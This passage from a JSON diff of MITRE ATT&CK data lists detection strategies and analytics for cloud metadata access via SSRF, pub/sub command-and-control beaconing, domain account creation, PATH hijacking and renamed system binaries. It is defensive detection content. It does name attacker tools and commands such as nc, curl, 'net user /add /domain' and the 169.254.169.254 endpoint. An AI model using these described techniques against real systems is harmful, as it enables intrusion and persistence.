"x-mitre-analytic--7e4ac594-c46c-4c7e-ba6d-9a457ab1e767" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b661f959-953f-4329-a43a-f1b060e7626b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0026", + "external_id": "DET0026" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ffe7278f-7cd1-402f-a3a7-dcc7a363b031" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2dd0f2ef-2c31-4b11-a507-91067bb61787", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0395", + "external_id": "DET0395" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--aae53d47-1f26-426b-9e50-848f186fed99" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + } + ], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "analytics": { + "additions": [ + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f4af0b1b-db51-4266-8b02-2cdfcb191f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0001#AN0001", + "external_id": "AN0001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0001", + "description": "Detects access attempts to cloud instance metadata endpoints (e.g., 169.254.169.254) from virtual machines or containerized workloads. This includes both direct access and SSRF exploitation patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "AWS:VPCFlowLogs", + "channel": "Outbound connection to 169.254.169.254 from EC2 workload" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "CloudTrail:GetInstanceIdentityDocument", + "channel": "GetInstanceIdentityDocument" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "ebpf:syscalls", + "channel": "Process within container accesses link-local address 169.254.169.254" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Adjust temporal window for correlation of access attempts and SSRF triggers" + }, + { + "field": "UserContext", + "description": "Tune based on expected roles that access metadata APIs (e.g., root, service accounts)" + }, + { + "field": "RequestHeaderMatch", + "description": "Customize detection for HTTP Host headers indicating SSRF" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ee4e3e61-e138-498b-93bf-3a5f8fea691c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0002#AN0002", + "external_id": "AN0002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0002", + "description": "Detects non-standard processes (e.g., PowerShell, python.exe, rundll32.exe) making outbound connections using publish/subscribe protocols (e.g., MQTT, AMQP) over non-browser, encrypted channels, often beaconing to message brokers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "mqtt.log / xmpp.log (custom log feeds)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UnusualProcessList", + "description": "Detect suspicious processes initiating outbound pub/sub connections" + }, + { + "field": "TimeWindow", + "description": "Define beaconing interval used for temporal correlation" + }, + { + "field": "ProtocolPortList", + "description": "Custom MQTT/XMPP port use in non-standard ranges (e.g., 1883, 5222, 5672)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ecc4ba2-bf4f-481c-b813-69c169c28c83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0002#AN0003", + "external_id": "AN0003" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0003", + "description": "Detects CLI tools (e.g., mosquitto_pub, nc, python scripts) interacting with pub/sub brokers using unusual topic names, high-frequency publication rates, or obfuscated payloads to non-standard hosts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "mqtt.log or AMQP custom log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BrokerAllowList", + "description": "Known-good brokers used by approved apps and daemons" + }, + { + "field": "TopicAnomalyScore", + "description": "Payload length, entropy, or topic name patterns" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--131d3f89-e10d-4ac9-a9d0-fcb4e8e8760a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0002#AN0004", + "external_id": "AN0004" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0004", + "description": "Detects osascript, curl, or custom binaries interacting with XMPP/MQTT brokers in unapproved destinations with encrypted payloads or frequent POST-like requests to broker URIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "log stream 'eventMessage contains pubsub or broker'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "socket_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppContextFilter", + "description": "Applications not known to use pub/sub protocols" + }, + { + "field": "URIPathRegex", + "description": "Custom path patterns to message brokers over HTTPS" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--748f457a-5dfa-431b-b5a0-3d5e1d56ebbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0002#AN0005", + "external_id": "AN0005" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0005", + "description": "Detects pub/sub traffic over unusual ports, high-frequency topic publications, and connections to known-bad or dynamic broker endpoints outside allowlisted infrastructure.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "mqtt.log, xmpp.log, amqp.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BrokerReputationList", + "description": "Dynamic blocklist or threat intel feed for C2 brokers" + }, + { + "field": "PayloadLengthThreshold", + "description": "Exfil-style long topic messages vs telemetry-style short messages" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--86103b48-cd6d-447d-aef4-807e10355506", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0003#AN0006", + "external_id": "AN0006" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0006", + "description": "Adversary uses built-in tools such as 'net user /add /domain' or PowerShell to create a domain user account. The behavior chain includes: (1) suspicious process execution on a domain controller followed by (2) user account creation event (Event ID 4720) on the same host.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", + "name": "WinEventLog:Security", + "channel": "EventCode=4720" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Detection triggers when Event ID 4720 follows a suspicious process within 2 minutes." + }, + { + "field": "ParentProcessName", + "description": "Allow filtering of known admin tools vs adversarial misuse (e.g., net.exe, powershell.exe)." + }, + { + "field": "UserContext", + "description": "Filter accounts with domain admin privileges creating new users vs standard helpdesk roles." + }, + { + "field": "HostRole", + "description": "Restrict to only domain controller hosts to reduce noise from workstations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e86081ab-aad1-48a1-abd8-5a5c8c7c936a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0003#AN0007", + "external_id": "AN0007" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0007", + "description": "Adversary with access to domain management tools (e.g., `realmd`, `samba-tool`, `ldapmodify`) creates a new domain user via command-line utilities. Behavior chain: LDAP command or script triggers \u2192 user entry added in AD via Kerberos/LDAP traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execution of realmd, samba-tool, or ldapmodify with user-related arguments" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "NSM:Flow", + "channel": "TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DomainToolUsed", + "description": "realmd, samba-tool, ldapmodify or custom script" + }, + { + "field": "TrafficWindow", + "description": "Expected Kerberos traffic from new domain account within X minutes of command" + }, + { + "field": "SessionType", + "description": "Script execution from interactive shell vs scheduled task" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--03513eb2-6dbd-4160-94dd-25d2bce349be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0003#AN0008", + "external_id": "AN0008" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0008", + "description": "macOS clients joined to AD via LDAP may script account provisioning via `dsconfigad`, `dscl`, or LDAP scripts. Detection occurs when such tools run on a domain-joined system, followed by authentication attempts by a previously unseen account.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "dsconfigad or dscl with create or append options for AD-bound users" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "macos:unifiedlog", + "channel": "UserLoggedIn" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EnrollmentStatus", + "description": "Only flag on AD-bound systems with valid LDAP context" + }, + { + "field": "AccountType", + "description": "Distinguish between user accounts and computer accounts" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bbd003ec-4208-48bb-9ad5-b9dd627fdd14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-22 18:36:42.025000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0004#AN0009", + "external_id": "AN0009" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0009", + "description": "Abnormal modification of the PATH environment variable or registry keys controlling system paths, combined with execution of binaries named after legitimate system tools from user-writable directories. Defender correlates registry modifications, file creation of suspicious binaries, and process execution paths inconsistent with baseline system directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EvenCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredRegistryKeys", + "description": "PATH environment keys under HKCU and HKLM to monitor for changes." + }, + { + "field": "SuspiciousBinaryList", + "description": "List of high-value system binaries commonly hijacked (e.g., net.exe, python.exe, powershell.exe)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between PATH modification and execution of a hijacked binary." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--00b5d9a8-a794-4d7c-90df-71c4021e0a46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0004#AN0010", + "external_id": "AN0010" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0010", + "description": "User modification of the $PATH environment variable in shell configuration files or direct runtime PATH changes, followed by execution of binaries from user-controlled directories. Defender observes file edits to ~/.bashrc, ~/.profile, or /etc/paths.d and process execution resolving to unexpected binary locations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "Execution of binary resolved from $PATH not located in /usr/bin or /bin" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredShellConfigs", + "description": "Set of shell startup files where PATH changes should be flagged." + }, + { + "field": "AllowedUserBins", + "description": "Directories (e.g., /usr/local/bin) considered safe to avoid FP." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b2261c7f-664b-400c-b8ba-8b5bc3bac75a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0004#AN0011", + "external_id": "AN0011" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0011", + "description": "Modification of PATH or HOME environment variables through shell config files, launchctl, or /etc/paths.d entries, combined with process execution from attacker-controlled directories. Defender correlates file changes in /etc/paths.d with process execution resolving to malicious binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "File modification in /etc/paths.d or user shell rc files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process execution path inconsistent with baseline PATH directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedPathsDirs", + "description": "Monitor /etc/paths.d and $HOME for unauthorized entries." + }, + { + "field": "TrustedExecutables", + "description": "Baseline applications expected in user PATH directories." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ec036273-4e90-465e-b115-a69bbb68dde4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0005#AN0012", + "external_id": "AN0012" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0012", + "description": "Execution of binaries where the on-disk filename does not match PE metadata such as OriginalFilename or InternalName. Often observed with renamed LOLBAS or system binaries like rundll32, powershell, or psexec.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "EDR:AMSI", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ImagePath", + "description": "Filter by suspicious or non-standard directory paths" + }, + { + "field": "PEInternalNameMismatch", + "description": "Enable tuning based on mismatch rules between metadata and disk filename" + }, + { + "field": "CommandLinePattern", + "description": "Flag unusual or rare argument combinations for LOLBAS-like tools" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3349af7c-3cea-4424-b2a4-056fedb63831", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0005#AN0013", + "external_id": "AN0013" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0013", + "description": "Execution of renamed or relocated native macOS utilities with uncommon names or non-default paths (e.g., renamed `osascript`, `bash`, or `curl`).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fileevents", + "channel": "/var/log/quarantine.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathDeviation", + "description": "Path deviation from expected directory (e.g., /usr/bin/ vs /tmp/)" + }, + { + "field": "BinaryHashReputation", + "description": "Enable tuning based on hash matching known signed versions vs suspicious clones" + }, + { + "field": "UserRole", + "description": "Scope detections based on non-admin users using admin-level tools" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bd8beea8-48c8-41dc-8991-f8c739d10c70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0005#AN0014", + "external_id": "AN0014" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0014", + "description": "Execution of renamed common utilities (e.g., `bash`, `nc`, `python`, `sh`) from atypical directories or with names intended to deceive defenders or EDRs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "event-based" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:syslog", + "channel": "/var/log/syslog or journalctl" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionPath", + "description": "Path anomalies such as execution from /dev/shm, /tmp, or user home directories" + }, + { + "field": "ParentProcessContext", + "description": "Unusual lineage such as scripts invoking renamed tools" + }, + { + "field": "TimeWindow", + "description": "Correlate between file rename and immediate execution" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--32d56b42-ff83-46d2-aeea-57a6958d3e83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0006#AN0015", + "external_id": "AN0015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0015", + "description": "From a defender\u2019s perspective, suspicious bridging is observed when network devices begin allowing traffic that contradicts existing segmentation or access policies. Observable behaviors include sudden modifications to ACLs or firewall rules, unusual cross-boundary traffic flows (e.g., east-west communications across separated VLANs), or simultaneous ingress/egress anomalies. Multi-event correlation is key: configuration changes on a router/firewall followed by unexpected traffic patterns, especially from unusual sources, is a strong indicator of compromise.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Unexpected flows between segmented networks or prohibited ports" + }, + { + "x_mitre_data_component_ref": 